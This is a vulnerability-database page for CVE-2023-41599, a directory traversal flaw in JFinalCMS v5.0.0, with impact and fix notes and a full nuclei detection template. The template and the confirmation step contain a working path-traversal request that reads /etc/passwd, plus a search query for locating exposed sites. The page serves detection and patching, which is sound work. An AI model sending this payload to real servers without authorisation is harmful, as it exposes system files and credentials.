HexBrain

Browse / CVEs / CVE-2023-41599

CVE-2023-41599· jfinalcms project / jfinalcms· CWE-22

JFinalCMS v5.0.0 - Directory Traversal

mediumseverity
5.3CVSS score
12.4%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.

Impact

Unauthenticated attackers can read arbitrary files from the server through path traversal in the filekey parameter, potentially exposing database credentials, application configuration, and sensitive CMS content.

Fix

Update JFinalCMS to a version newer than 5.0.0 that validates and sanitizes file paths in DownController.java to prevent directory traversal attacks.

How to confirm it

Send: GET {{BaseURL}}/common/down/file?filekey=/../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-41599 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-41599

info:
  name: JFinalCMS v5.0.0 - Directory Traversal
  author: pussycat0x
  severity: medium
  description: |
    An issue in the component /common/DownController.java of JFinalCMS v5.0.0 allows attackers to execute a directory traversal.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through path traversal in the filekey parameter, potentially exposing database credentials, application configuration, and sensitive CMS content.
  remediation: |
    Update JFinalCMS to a version newer than 5.0.0 that validates and sanitizes file paths in DownController.java to prevent directory traversal attacks.
  reference:
    - https://github.com/wy876/POC/blob/main/JFinalCMS%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E(CVE-2023-41599).md
    - https://github.com/wy876/POC
    - https://github.com/xingchennb/POC-
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-41599
    cwe-id: CWE-22
    epss-score: 0.12364
    epss-percentile: 0.96236
    cpe: cpe:2.3:a:jfinalcms_project:jfinalcms:5.0.0:*:*:*:*:*:*:*
  metadata:
    vendor: jfinalcms_project
    product: jfinalcms
    fofa-query: body="content=\"JreCms"
  tags: cve,cve2023,jrecms,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/common/down/file?filekey=/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from